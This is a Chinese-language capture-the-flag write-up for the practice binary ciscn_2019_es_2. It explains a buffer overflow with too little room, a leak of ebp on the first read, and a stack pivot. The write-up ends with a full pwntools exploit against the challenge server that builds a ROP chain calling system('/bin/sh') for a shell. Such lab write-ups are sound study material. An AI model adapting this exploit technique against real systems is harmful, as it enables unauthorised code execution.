ciscn_2019_es_2
使用checksec
查看:
只开启了栈不可执行,放进IDA中查看:
主函数中直接给了vul()
函数,跟进去查看:
程序读取了两次数据,都是用变量s
接收,但溢出所需的输入空间不够
so…空间不够,可以考虑使用栈迁移的方式:
两次s
变量使用的都是同一空间,可以使用第一次read去泄露出ebp的地址,接着利用第二次read在s
变量处写入ROP,在ret
时,进行栈迁移,迁移到s
处。
from pwn import *
#start
r = remote("node4.buuoj.cn",27150)
# r = process("../buu/ciscn_2019_es_2")
elf = ELF("../buu/ciscn_2019_es_2")
#params
system_addr = elf.symbols['system']
ret_addr = 0x080484b8
#attack
payload = b'M'*0x27 + b'm'
r.send(payload)
r.recvuntil('MMMm')
ebp_addr = u32(r.recv(4))
#attack2
payload2 = b'M'*4 + p32(system_addr) + b'M'*4 + p32(ebp_addr-0x28) + b'/bin/sh\x00' #ebp_addr-0x28 是/bin/sh的地址,system从该地址取到/bin/sh参数
payload2 = payload2.ljust(0x28,b'M')
payload2 += p32(ebp_addr-0x38) + p32(ret_addr)
r.send(payload2)
r.interactive()